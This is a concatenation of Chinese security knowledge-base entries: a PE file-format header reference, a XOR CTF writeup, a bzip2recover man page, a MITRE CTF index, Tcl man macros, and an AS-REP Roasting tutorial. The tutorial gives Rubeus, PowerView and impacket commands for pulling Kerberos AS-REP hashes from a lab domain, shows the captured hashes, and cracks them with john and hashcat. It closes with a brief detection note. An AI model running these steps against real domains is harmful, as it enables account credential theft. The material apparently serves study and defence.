DWORD BaseOfCode; /* +002ch 代码节起始RVA */ DWORD BaseOfData; /* +0030h 数据节起始RVA */ DWORD ImageBase; /* +0034h 映像文件加载时的首选地址 */ DWORD SectionAlignment; /* +0038h 内存中节对齐粒度*/ DWORD FileAlignment; /* +003ch 文件中节对齐粒度 */ WORD MajorOperatingSystemVersion; /* +0040h 操作系统主要版本号 */ WORD MinorOperatingSystemVersion; /* +0042h 操作系统次要版本号 */ WORD MajorImageVersion; /* +0044h 映像文件主要版本号 */ WORD MinorImageVersion; /* +0046h 映像文件次要版本号 */ WORD MajorSubsystemVersion; /* +0048h 子系统主要版本号 */ WORD MinorSubsystemVersion; /* +004ah 子系统次要版本号 */ DWORD Win32VersionValue; /* +004ch 保留。置0 */ DWORD SizeOfImage; /* +0050h 内存中映像文件的大小 */ DWORD SizeOfHeaders; /* +0054h 所有头+节表大小 */ DWORD CheckSum; /* +0058h 映像文件校验和 */ WORD Subsystem; /* +005ch 运行映像所需子系统 */ WORD DllCharacteristics; /* +005eh 映像文件的DLL属性 */ DWORD SizeOfStackReserve; /* +0060h 初始化时的保留的栈大小 */ DWORD SizeOfStackCommit; /* +0064h 初始化时实际提交的栈大小 */ DWORD SizeOfHeapReserve; /* +0068h 初始化时保留的堆大小 */ DWORD SizeOfHeapCommit; /* +006ch 初始化时实际提交的堆大小 */ DWORD LoaderFlags; /* +0070h 已废弃 */ DWORD NumberOfRvaAndSizes; /* +0074h 数据目录结构的数量 */ IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; /* +0078h 指向数据目录中第一个 IMAGE_DATA_DIRECTORY 结构体的指针 */ } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; ``` - **`Magic` 单字。指明映像文件的类型。`0x0107h` 表示 ROM 映像;`0x010B` 表示 PE32;`0x020B` 表示 PE32+,即 64-bit 的 PE 文件。** - `MajorLinkerVersion` 字节。指定链接器主要版本号。 - `MinorLinkerVersion` 字节。指定链接器次要版本号。 - `SizeOfCode` 双字。所有包含代码的节的总大小。**这里的大小指文件对齐后的大小。判断某个节是否包含代码的方法是根据节属性是否包含 `IMAGE_SCN_CNT_CODE` 标志。** - `SizeOfInitializedData` 双字。所有包含已初始化数据节的总大小。 - `SizeOfUninitializedData` 双字。所有包含未初始化数据节的总大小。 - **`AddressOfEntryPoint` 双字。入口点函数的指针相对于映像文件加载基址的偏移量。对于可执行文件,这是启动地址;对于设备驱动,这是初始化函数的地址;入口点函数对于 DLL 文件是可选的,如果不存在入口点,该成员必须置 0。** - `BaseOfCode` 双字。代码节的 RVA,代码节起始处相对于映像文件加载基址的偏移量。通常代码节紧跟在 PE 头 后面,节名为 ".text"。 - `BaseOfData` 双字。数据节的 RVA,数据节起始处相对于映像文件加载基址的偏移量。通常数据节位于文件末尾,节名为 ".data"。 - **`ImageBase` 双字。映像文件加载时的优先载入地址,值必须是 64KB 的整数倍。**应用程序的默认值是 0x00400000;DLL 的默认值是 0x10000000。**当一个程序用到了多个 DLL 文件时,PE 加载器会调整 DLL 的载入地址,使所有 DLL 文件都能够被正确载入。** - **`SectionAlignment` 双字。内存中的节对齐粒度。该成员的值必须不小于 `FileAlignment` 成员的值。默认的值与系统的页大小相等。** - **`FileAlignment` 双字。映像文件中原始数据的对齐粒度。值必须是在 512-64K 范围内的 2 的幂。默认值为512,但如果 `SectionAlignment` 成员的值小于系统页大小,则 `FileAlignment` 与 `SectionAlignment` 两者成员的值必须相同。** - `MajorOperatingSystemVersion` 单字。操作系统主要版本号。 - `MinorOperatingSystemVersion` 单字。操作系统次要版本号。 - `MajorImageVersion` 单字。映像文件主要版本号。 - `MinorImageVersion` 单字。映像文件次要版本号。 - `MajorSubsystemVersion` 单字。子系统主要版本号。 - `MinorSubsystemVersion` 单字。子系统次要版本号。 - `Win32VersionValue` 双字。保留。置0。 - **`SizeOfImage` 双字。映像文件在虚拟内存中所占的大小。值必须为 `SectionAlignment` 的整数倍。** - **`SizeOfHeaders` 双字。PE 文件头和所有节表大小的总和按照 `FileAlignment` 对齐后的大小。第一节区在文件开始偏移为 `SizeOfHeaders` 处。** - `CheckSum` 双字。映像文件的校验值。需要在装载时校验的文件有所有的驱动,任何在启动时装载的 DLL,以及任何加载到关键系统进程中的 DLL。 - **`Subsystem` 单字。运行映像文件所需的子系统。已定义的子系统标志如下:** ```c // Subsystem 标志 #define IMAGE_SUBSYSTEM_UNKNOWN 0 // 未知子系统 #define IMAGE_SUBSYSTEM_NATIVE 1 // 不需要子系统。设备驱动和本机系统进程 #define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // Windows 图形用户接口(GUI)子系统 #define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // Windows 字符模式用户接口子(CUI)系统 #define IMAGE_SUBSYSTEM_OS2_CUI 5 // OS/2 CUI 子系统 #define IMAGE_SUBSYSTEM_POSIX_CUI 7 // POSIX CUI 子系统 #define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // Windows CE 系统 #define IMAGE_SUBSYSTEM_EFI_APPLICATION 10 // 可扩展固件接口(EFI)应用程序 #define IMAGE_SUBSYSTEM_EFI_BOOT_SERVEICE_DRIVER 11 // 带引导服务的 EFI 驱动程序 #define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 12 // 带运行时服务的 EFI 驱动程序 #define IMAGE_SUBSYSTEM_EFI_ROM 13 // EFI ROM 映像 #define IMAGE_SUBSYSTEM_XBOX 14 // XBOX 系统 #define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16 // 引导应用程序 ``` - **`DllCharacteristics` 单字。映像文件的 DLL 属性,以 bit OR 方式组合。各标志位的含义如下:** ```c // DLL 属性标志 // 0x0001 0x0002 0x0004 0x0008 保留,值必须为 0。 #define IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 0x0040 // DLL 可以在加载时重定位 #define IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 0x0080 // 强制实行代码完整性检验 #define IMAGE_DLLCHARACTERISTICS_NX_COMPAT 0x0100 // 映像兼容数据执行保护(DEP) #define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x0200 // 映像可以隔离,但不应该被隔离 #define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400 // 映像不使用结构化异常处理(SEH) #define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x0800 // 不绑定映像 //#define IMAGE_DLLCHARACTERISTICS_APPCONTAINER 0x1000 // 在 32-bit 保留;64-bit 表示映像必须在 AppContainer 内执行 #define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 // WDM 驱动 //#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000 // 在 32-bit 保留;64-bit 表示映像支持控制流保护 #define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 // 映像可用于终端服务器 ``` - `SizeOfStackReserve` 双字。初始化时保留的栈内存大小,默认值是 1MB。具体说是初始化时为栈保留的虚拟内存的大小,但并不是所有保留的虚拟内存都能直接作为栈使用。初始化时实际提交的栈大小由 `SizeOfStackCommit` 成员指定。 - `SizeOfStackCommit` 双字。初始化时实际提交的栈内存大小。 - `SizeOfHeapReserve` 双字。初始化时保留的堆内存大小,默认值为 1MB。每一个进程至少为会有一个默认的进程堆,在进程启动的时候被创建,并且在进程的声明周期内不会被删除。 - `SizeOfHeapCommit` 双字。初始化时实际提交的堆内存大小,默认大小为 1 页。可以通过链接器的 "-heap" 参数指定起始保留的堆内存大小和实际提交的堆内存大小。 - `LoaderFlags` 成员已弃用。 - **`NumberOfRvaAndSizes` 双字。数据目录结构的数量。通常为 0x00000010,即 16 个。** - **`DataDirectory` 结构体。由 `IMAGE_DATA_DIRECTORY` 结构体组成的数组,数组的每项都有被定义的值。结构体定义如下:** ```c typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; /* 数据目录的 RVA */ DWORD Size; /* 数据目录的大小 */ } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; ``` 各数组项如下: ```c // 数据目录 DataDirectory[0] = EXPORT Directory // 导入表 RVA 和大小 DataDirectory[1] = IMPORT Directory // 导入表 RVA 和大小 DataDirectory[2] = RESOURCE Directory // 资源表 RVA 和大小 DataDirectory[3] = EXCEPTION Directory // 异常表 RVA 和大小 DataDirectory[4] = CERTIFICATE Directory // 证书表 FOA 和大小 DataDirectory[5] = BASE RELOCATION Directory // 基址重定位表 RVA 和大小 DataDirectory[6] = DEBUG Directory // 调试信息 RVA 和大小 DataDirectory[7] = ARCH DATA Directory // 指定架构信息 RVA 和大小 DataDirectory[8] = GLOBALPTR Directory // 全局指针寄存器 RVA DataDirectory[9] = TLS Directory // 线程私有存储表 RVA 和大小 DataDirectory[10] = LOAD CONFIG Directory // 加载配置表 RVA 和大小 DataDirectory[11] = BOUND IMPORT Directory // 绑定导入表 RVA 和大小 DataDirectory[12] = `IAT` Directory // 导入地址表 RVA 和大小 DataDirectory[13] = DELAY IMPORT Directory // 延迟导入描述符 RVA 和大小 DataDirectory[14] = CLR Directory // CLR数据 RVA 和大小 DataDirectory[15] = Reserverd // 保留 ``` ### ### PE 数据主体Section Header部分 紧跟在可选头后面的是 `Section Header`,也称作节表。PE 文件种所有节的属性都被定义在节表中。节表由一系列的 `IMAGE_SECTION_HEADER` 结构体组成,结构体大小均为 40 字节。每一个结构体描述一个节的信息,定义如下: ```c typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; /* 节区名 */ union { DWORD PhysicalAddress; /* 物理地址 */ DWORD VirtualSize; /* 虚拟内存中节区大小 */ } Misc; DWORD VirtualAddress; /* 虚拟内存中节区 RVA */ DWORD SizeOfRawData; /* 磁盘文件中节区大小 */ DWORD PointerToRawData; /* 磁盘文件中节区 FOA */ DWORD PointerToRelocations; /* 指向重定位表的指针 */ DWORD PointerToLinenumbers; /* 指向行号表的指针 */ WORD NumberOfRelocations; /* 重定位入口数量 */ WORD NumberOfLinenumbers; /* 行号数量 */ DWORD Characteristics; /* 节区属性 */ } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; ``` - `Name` 节名称字符串。长度最多 8 个字节。 - `Misc` - `PhysicalAddress` 双字。文件地址。 - `VirtualSize` 双字。虚拟内存中的节区所占内存大小。 - `VirtualAddress` 双字。虚拟内存中节区 RVA。 - `SizeOfRawData` 双字。对于映像文件,表示磁盘上初始化数据的大小,值必须为 `FileAlignment` 的整数倍;对于目标文件,表示节的大小。 - `PointerToRawData` 双字。磁盘文件中节区起始处的 FOA。值必须是 `FileAlignment` 的整数倍。 - `PointerToRelocations` 双字。在对象文件中使用,指向重定位表的指针。 - `PointerToLinenumbers` 双字。行号信息位置(供调试用)。如果没有行号信息则置 0;同时因为不建议使用 COFF 调试信息,在映像文件中应置 0。 - `NumberOfRelocations` 单字。重定位入口的数量,在映像文件中置 0。 - `NumberOfLinenumbers` 单字。行号数量(供调试用)。因为不建议使用 COFF 调试信息,所以在映像文件中应置 0。 - **`Characteristics` 双字。节区属性。,以 bit OR 方式组合。各标志位的含义如下:** ```c // 节区属性 #define IMAGE_SCN_CNT_CODE 0x00000020 // 节区包含代码 #define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // 节区包含已初始化数据 #define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // 节区包含未初始化数据 #define IMAGE_SCN_ALIGN_1BYTES 0x00100000 // 1-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_2BYTES 0x00200000 // 2-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_4BYTES 0x00300000 // 4-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_8BYTES 0x00400000 // 8-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_16BYTES 0x00500000 // 16-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_32BYTES 0x00600000 // 32-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_64BYTES 0x00700000 // 64-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_128BYTES 0x00800000 // 128-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_256BYTES 0x00900000 // 256-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_512BYTES 0x00A00000 // 512-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000 // 1024-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000 // 2048-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000 // 4096-byte 对齐。仅用于目标文件 #define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000 // 8192-byte 对齐。仅用于目标文件 #define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // 节区包含扩展的重定位项 #define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // 节区可根据需要丢弃,如 .reloc 在进程开始后被丢弃 #define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // 节区不会被缓存 #define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // 节区不可分页 #define IMAGE_SCN_MEM_SHARED 0x10000000 // 节区可共享给不同进程 #define IMAGE_SCN_MEM_EXECUTE 0x20000000 // 节区可作为代码执行 #define IMAGE_SCN_MEM_READ 0x40000000 // 节区可读 #define IMAGE_SCN_MEM_WRITE 0x80000000 // 节区可写 ``` 示例文件的节区头如下: ```text No. Name VirtualSize VirtualOffset RawSize RawOffset Characteristics -------------------------------------------------------------------------- 01 .text 00001670 00001000 00001800 00000400 60500020 R-X 包含可执行代码 02 .data 0000002C 00003000 00000200 00001C00 C0300040 RW- 包含已初始化数据 03 .rdata 00000168 00004000 00000600 00001E00 40300040 R-- 包含已初始化数据 04 .bss 00000450 00005000 00000000 00000000 C0700080 RW- 包含未初始化数据 05 .idata 00000564 00006000 00000600 00002400 C0300040 RW- 包含已初始化数据 06 .CRT 00000034 00007000 00000200 00002A00 C0300040 RW- 包含已初始化数据 07 .tls 00000020 00008000 00000200 00002C00 C0300040 RW- 包含已初始化数据 08 /4 000002D8 00009000 00000400 00002E00 42400040 R-- 包含已初始化数据 09 /19 0000A6D5 0000A000 0000A800 00003200 42100040 R-- 包含已初始化数据 0A /31 0000199E 00015000 00001A00 0000DA00 42100040 R-- 包含已初始化数据 0B /45 000018F3 00017000 00001A00 0000F400 42100040 R-- 包含已初始化数据 0C /57 00000780 00019000 00000800 00010E00 42300040 R-- 包含已初始化数据 0D /70 000002F2 0001A000 00000400 00011600 42100040 R-- 包含已初始化数据 0E /81 00000D1E 0001B000 00000E00 00012800 42100040 R-- 包含已初始化数据 0F /92 00000230 0001C000 00000400 00012C00 42100040 R-- 包含已初始化数据 ``` ### PE 数据主体Sections部分 紧跟在 `Section Header` 后面的就是各个 sections,即节区。PE 文件一般至少要求有两个节区,用于存储可执行数据的代码节区 .text,和存储数据的数据节区 .data。通过节区名可以猜测节区的用途,但节区名不是决定节区用途的因素,只作为一种参考。比如也可以将代码节区的节区名修改为 .data,对于程序执行不会有影响。这里讲一下常见节区的用途: ```text .text 默认的代码节区。用于保存可执行代码。 .data 默认的读/写数据节区。用于保存已初始化的全局变量,静态变量。 .rdata 默认的只读数据节区。 .idata 用于保存导入表信息。包含IAT, INT, 导入函数名称以及导入 DLL 名称等。 .edata 用于保存导出表信息。 .rsrc 用于保存资源表信息。 .bss 用于保存未初始化数据。 .tls 用于保存 TLS(线程局部存储)信息。 .reloc 用于保存重定位表信息。 ``` 其中有一些 Section 需要重点关注,比如保存着库文件导入相关数据的 .idata 节,或者与线程私有存储相关的 .tls 节等等。对这些重要节进行分析,就是之后学习的主要内容。
sec-knowleage
##Xor with static key (Crypto, 500p) You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is seX OR success? The signals of subconcious mind are not clear, cryptic. You also have the message of heart which is clear and cryptic. You just need to use three of them and find whats the clear message of your Mind... What you must do? ###PL [ENG](#eng-version) Dostajemy 3 pliki: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt) Na podstawie dwóch pierwszych plików należy ustalić algorytm szyfrowania a następnie zdekodować trzeci plik. Treść zadania sugeruje, że szyfrowanie to XOR. W związku z tym wyciągamy klucz szyfrowania korzystając a zależności: `Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key` Zadanie rozwiązujemy prostym skryptem: ```python import codecs name = "Heart_clear.txt" name2 = "Heart_crypt.txt" with codecs.open(name) as input_file: with codecs.open(name2) as input_file2: data = input_file.read() data2 = input_file2.read() xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)] print(xor_key) print("".join([chr(x) for x in xor_key])) with codecs.open("Mind_crypt.txt") as crypto: data = crypto.read() print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data))) ``` Który daje nam klucz: `Its right there what you are looking for.` oraz link: https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en Nie bardzo wiedzieliśmy co dalej zrobić, ponieważ link nie był flagą. W końcu wpadliśmy na to żeby wysłać tytuł "strony" `Never Miss a Game` i to okazało sie flagą. ###ENG version We get 3 files: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt) Using the first two we are supposed to figure out the algorithm and then decode the third file. Task description suggests XOR encryption. Therefore we proceed to recoved XOR key using the fact that: `Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key` We solve the task with simple script: ```python import codecs name = "Heart_clear.txt" name2 = "Heart_crypt.txt" with codecs.open(name) as input_file: with codecs.open(name2) as input_file2: data = input_file.read() data2 = input_file2.read() xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)] print(xor_key) print("".join([chr(x) for x in xor_key])) with codecs.open("Mind_crypt.txt") as crypto: data = crypto.read() print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data))) ``` And we get the key: `Its right there what you are looking for.` and a link: https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en At this point we were puzzled and didn't know how to proceed since the link was not a flag. However at some point we tried to send the "title" of the page as flag `Never Miss a Game` and it turned out to be ok.
sec-knowleage
bzip2recover === 恢复被破坏的.bz2压缩包中的文件 ## 补充说明 **bzip2recover命令** 可用于恢复被破坏的“.bz2”压缩包中的文件。 bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况。 ### 语法 ```shell bzip2recover(参数) ``` ### 参数 文件:指定要恢复数据的.bz2压缩包。
sec-knowleage
# MITRE CTF - Cyber Challenge 2019 Writeups for various challenges from the 2019 [MITRE CTF competition](https://mitrestemctf.org/). Note: The challenges were taken offline immediately after the CTF ended, so the writeups are based on data available offline and therefore are less detailed.
sec-knowleage
# AS-REP Roasting攻击 > Windows 2008 R2 ## 简介 AS-REP Roasting是一种针对使用Kerberos协议进行身份验证的攻击,其目的是利用Kerberos漏洞以获取活动目录中的用户凭据。 Kerberos是一种网络身份验证协议,用于在计算机网络上安全地验证用户和服务。Kerberos协议使用票据(ticket)来验证用户身份。在活动目录中,用户凭据包括密码散列和KERBEROS的AES密钥。 AS-REP Roasting利用Kerberos协议中的一个漏洞,即在某些情况下,允许攻击者通过发送具有无效身份验证请求(AS-REQ)来收集AS-REP响应。AS-REP响应包含用户的加密AES密钥,**攻击者可以将其用于破解密码散列并获得用户凭据**。 ```mermaid sequenceDiagram participant Attacker participant DomainController participant Victim Attacker ->> DomainController: 发送无效身份验证请求(AS-REQ) DomainController -->> Attacker: 发送身份验证错误(KRB5KDC_ERR_PREAUTH_REQUIRED) Attacker ->> Victim: 发送AS-REQ请求,请求不需要预身份验证 Victim -->> Attacker: 发送AS-REP响应,包含用户加密的AES密钥 Attacker ->> DomainController: 使用加密的AES密钥尝试破解密码散列 DomainController -->> Attacker: 发送密码散列 ``` ## 环境搭建 域用户设置了选项"**Do not require Kerberos preauthentication**",**通常情况下,该选项默认不会开启。** ![image-20220701171152441](../../.gitbook/assets/image-20220701171152441.png) ![image-20220701172115379](../../.gitbook/assets/image-20220701172115379.png) ## 漏洞利用 ### rubeus 使用rubeus.exe获得Hash ```css Rubeus.exe asreproast ``` ![image-20220701172146854](../../.gitbook/assets/image-20220701172146854.png) ### powershell 使用的`powerview.ps1`查找域中设置了 "不需要kerberos预身份验证" 的用户 ```powershell Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired ``` ![image-20220701172830454](../../.gitbook/assets/image-20220701172830454.png) 使用`ASREPRoast.ps1`获取AS-REP返回的Hash ```powershell PS C:\> Get-ASREPHash -UserName hacker -Domain sectest.com $krb5asrep$hacker@sectest.com:d0a157853391aab1e8e01bc686fb163a$809336bab609b5471e00dfd086ec87a1b2dcaa329c36753a0da5ecba 7c360e3aefb21c07a363139c9f0aeff96da09345137fc6b2a4320cec2be50a7a1f91548881c933f968657018c29fab4f7c370d48ad1bf4484164dfc 0435b1a6ca8313280d1b8c854da0e97191a35b94e2065020e2712b9ae9ed11b4be4c8d0d213c8dd8e462c1c2192b9e3904bc1ccea93e956cbcb442d 72d9e1fbacc81a261482e08a601c82b7927bc15e8ec2fd36725bc4d7a50a2a7519000896a7205ab87890584076a14c818f185ff206f2fb957324ec3 d591e2e623d1a14d5732fced962db9d5fcfae397c7bcb4ead5e5608 PS C:\> PS C:\> PS C:\> Get-ASREPHash -UserName administrator -Domain sectest.com $krb5asrep$administrator@sectest.com:ba6badff514dd32e51a8375d59d3b4fd$4b19d25ec755b55a6c350740d6b7e91b3d980ae234ba5721b d81177e0f5ad065a248dae0b9a2ca7968d8dd6238c1771c1376445296e8fc3c10ec1323b23bc76438b8ffff191e2da0961e47216caa5e3b3372d9d7 71bdf037c62c10ddbc9ed87cc4097539c14b74eea80b35ae0817953da40c0e8bf8fd12543db6753b0a4b0c007aa04090f7d0c88625ba4d200bba287 b98d6048544c35717d0571d6e121aebf613f240fbbd053d11f97aae1bf28473431addc504ce97d291a633f09a301d5e97c21220d2261de0beab1339 2512134d77ac292bf3af0adc3d864db4b9c8f0460754aab44c45863aa95e7a PS C:\> ``` ### impacket 爆破用户 ```sh ┌──(root💀kali)-[~/Desktop/impacket-master/examples] └─# python3 GetNPUsers.py sectest.com/ -usersfile /tmp/user.txt ``` ![image-20220701175412792](../../.gitbook/assets/image-20220701175412792.png) 知道具体用户,获取票据信息 ```sh ┌──(root💀kali)-[~/Desktop/impacket-master/examples] └─# python3 GetNPUsers.py sectest/administrator -no-pass -dc-ip 192.168.32.144 -request Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation [*] Getting TGT for administrator $krb5asrep$23$administrator@SECTEST:7a5b7de0d5af4a66f5ee83a3eb48b726$e6c5ea6fb79ea8154a25f7ba4b0f12c265f7c2f10ef2591cba1ccdb1b42bc38f39dde177ac87da7dc9c66c90966afd12a7a131c817ce5f84b57312f5b846b5bc86a516a982ca438a6a4914d5c9220cbded7a5cf05ddf374f5cf3b3e735046e510bd688db79fde9ed15601e52d9991a21fc758b634df9932ace8839da67fbf36bbb670158005beac9a1b65806964f104accf99065edf74c80c113ced5fa13fb11a54e1eaf33f4ffbad561891d66917b4b728838b01e3469aed2c54f6c99c0aca879f24f92f8ccb703b69cd5bd9f6507a89be384297881d037550066a88a38d9bd7ad71b1006dc ┌──(root💀kali)-[~/Desktop/impacket-master/examples] └─# python3 GetNPUsers.py sectest/hacker -no-pass -dc-ip 192.168.32.144 -request Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation [*] Getting TGT for hacker $krb5asrep$23$hacker@SECTEST:a7b9a372f2e3a0fa7568e860797ae62b$bd120f6279317280bf9e3b949cbac5b30bb3734926a9a13edd3dee5028b718541a938963f5279bac3f92c64eeb88c7255b3f2dac60106ac14abfe0bb4f43dbe7ec4e91a8ed7703049620e6e79bdb23451cf631694c27a9e88ee8433c0bda6bd1da67064d90d576e8bcecdef3fecb1ba14ac3c3acc4a35ca76bd34e4f7fee122378ed77f49b6ec452183f5b4462e03e565da49bd62227065c87b20293c5f2156a143e3b4a2902c8da7193131b7fa061426004dec87d6ddb0bc3fced9b3fd135aa0dbde8acdb76b45dd54e0f41db10792775cd0a6d98d35fbed53022fb6439aff534406491213b ``` ## 哈希破解 ### john ```sh ┌──(root💀kali)-[/tmp] └─# john --wordlist=password.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status abcABC123 ($krb5asrep$23$hacker@SECTEST.COM) 1g 0:00:00:00 DONE (2022-07-01 05:58) 10.00g/s 701890p/s 701890c/s 701890C/s punkey..pinkk Use the "--show" option to display all of the cracked passwords reliably Session completed ``` ### hashcat ```sh ┌──(root💀kali)-[/tmp] └─# hashcat -a 0 -m 18200 hash.txt password.txt --force ``` ![image-20220701175918090](../../.gitbook/assets/image-20220701175918090.png) ## 日志分析 Windows事件ID 4768是Kerberos身份验证服务的事件ID,用于记录Kerberos身份验证请求的事件。这个事件ID通常不会单独表示攻击,但如果您注意到异常的数量或出现了未授权的Kerberos身份验证请求,则可能表明发生了攻击。 ![image-20230227143142069](../../.gitbook/assets/image-20230227143142069.png) ![image-20230301092727819](../../.gitbook/assets/image-20230301092727819.png)
sec-knowleage
'\" '\" Copyright (c) 1996-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar 